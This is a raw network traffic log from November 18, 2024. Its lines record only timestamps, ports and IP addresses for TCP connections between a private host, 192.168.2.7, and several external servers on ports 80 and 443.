Nov 18, 2024 08:55:45.226495981 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226506948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226517916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226530075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226530075 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226550102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226562023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226572990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226576090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226576090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226584911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226588011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226597071 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226607084 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226608038 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226634979 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226660013 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226917982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226927996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226938009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226955891 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226958990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226970911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226983070 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.226984024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.226995945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227008104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227010012 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227035046 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227061033 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227091074 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227113962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227138996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227161884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227165937 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227165937 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227173090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227174997 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227185965 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227196932 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227204084 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227205038 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227216005 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227220058 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227226973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227240086 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227240086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227248907 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227252960 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227263927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227273941 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227277040 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227283955 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227287054 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227291107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227328062 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227336884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227344990 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227375984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227385998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227397919 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227413893 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227417946 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227430105 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227441072 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227442980 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227462053 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227468014 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227473021 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227488995 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227494001 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227507114 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227514982 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227518082 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227530003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227541924 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227551937 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227577925 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227619886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227632046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227643967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227655888 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227668047 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227669001 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227690935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227696896 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227708101 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227710962 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227719069 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227736950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227741003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227752924 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227777958 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227777958 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227788925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227801085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227812052 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227823973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227823973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.227847099 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.227859020 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.229168892 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.229207993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.229229927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.229279041 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.230304956 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.230360985 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.230402946 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.230437994 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.230448961 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.230477095 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.230487108 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.230503082 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.230524063 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.230545044 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.230572939 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.230598927 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.230612040 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.230643988 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.232486010 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.232537031 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.232553005 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.232561111 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.232593060 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.299793959 CET	443	49903	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.301033020 CET	49903	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.301058054 CET	443	49903	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.301964045 CET	49903	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.301975012 CET	443	49903	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.306754112 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:45.306787968 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:45.307101011 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:45.307101011 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:45.307140112 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:45.329036951 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.329611063 CET	49904	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.329644918 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.330163956 CET	49904	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.330168962 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.345630884 CET	443	49905	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.346487999 CET	49905	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.346513033 CET	443	49905	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.346776009 CET	49905	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.346781969 CET	443	49905	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.347541094 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.347610950 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.347637892 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.347655058 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.347677946 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.349435091 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.349488020 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.349503994 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.349536896 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.349577904 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.351356030 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.351397038 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.351423025 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.351429939 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.351491928 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.353516102 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:45.354504108 CET	443	49906	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.355191946 CET	49906	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.355206966 CET	443	49906	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.355623007 CET	49906	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.355626106 CET	443	49906	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.358395100 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:45.389583111 CET	443	49907	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.394912004 CET	49907	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.394937038 CET	443	49907	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.395505905 CET	49907	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.395512104 CET	443	49907	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.418597937 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.418661118 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.418684006 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.418699980 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.418730021 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.444448948 CET	443	49903	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.444526911 CET	443	49903	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.444570065 CET	49903	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.444839954 CET	49903	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.444839954 CET	49903	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.444860935 CET	443	49903	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.444871902 CET	443	49903	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.462083101 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.462122917 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.462176085 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.462234974 CET	49904	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.464535952 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.464570045 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.464606047 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.464617014 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.464646101 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.464920044 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.464936018 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.464977980 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.464983940 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.465009928 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.465755939 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.465784073 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.465816975 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.465821981 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.465868950 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.466267109 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.466290951 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.466321945 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.466326952 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.466347933 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.469888926 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.469914913 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.469957113 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.469963074 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.470011950 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.470599890 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.470628023 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.470664024 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.470669985 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.470700026 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.473546028 CET	443	49905	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.473630905 CET	443	49905	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.473819971 CET	49905	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.478827953 CET	49904	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.478846073 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.478857040 CET	49904	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.478863001 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.479643106 CET	49915	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.479671001 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.479731083 CET	49915	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.480019093 CET	49905	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.480019093 CET	49905	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.480051994 CET	443	49905	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.480066061 CET	443	49905	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.481360912 CET	49915	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.481375933 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.483330011 CET	49916	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.483366966 CET	443	49916	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.483443975 CET	49916	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.483597040 CET	49916	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.483613014 CET	443	49916	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.484181881 CET	49917	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.484222889 CET	443	49917	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.484303951 CET	49917	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.484389067 CET	49917	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.484401941 CET	443	49917	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.486572027 CET	443	49906	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.486666918 CET	443	49906	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.486737013 CET	49906	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.487890005 CET	49906	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.487895012 CET	443	49906	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.487905979 CET	49906	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.487910032 CET	443	49906	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.491848946 CET	49918	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.491868973 CET	443	49918	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.491952896 CET	49918	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.492877960 CET	49918	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.492888927 CET	443	49918	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.500408888 CET	443	49908	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.500875950 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.500889063 CET	443	49908	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.501211882 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:45.501241922 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:45.501252890 CET	443	49908	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.501343966 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:45.501468897 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.501620054 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:45.501636028 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:45.502049923 CET	443	49908	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.502192974 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.502583027 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.502650976 CET	443	49908	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.502754927 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.502763033 CET	443	49908	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.502779961 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.521121025 CET	443	49907	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.521219015 CET	443	49907	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.521339893 CET	49907	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.521406889 CET	49907	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.521406889 CET	49907	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.521426916 CET	443	49907	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.521437883 CET	443	49907	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.526161909 CET	49920	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.526195049 CET	443	49920	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.526427984 CET	49920	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.526693106 CET	49920	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:45.526709080 CET	443	49920	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:45.535557985 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.535619974 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.535639048 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.535657883 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.535681963 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.543330908 CET	443	49908	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581397057 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581430912 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581525087 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.581525087 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.581535101 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581567049 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581581116 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581610918 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581625938 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581636906 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.581636906 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.581644058 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581681967 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.581681967 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.581944942 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.581969976 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.582011938 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.582016945 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.582043886 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.582715034 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.582746983 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.582787991 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.582792997 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.582835913 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.582853079 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.582858086 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.582912922 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.582912922 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.582918882 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.583306074 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.583347082 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.583379030 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.583384991 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.583401918 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.583740950 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.583765984 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.583842993 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.583842993 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.583848000 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.584645033 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.584677935 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.584738970 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.584738970 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.584743977 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.584764004 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.584784985 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.584825039 CET	49899	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:45.584830046 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.584881067 CET	443	49899	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:45.584908009 CET	49899	443	192.168.2.7	4.153.57.10
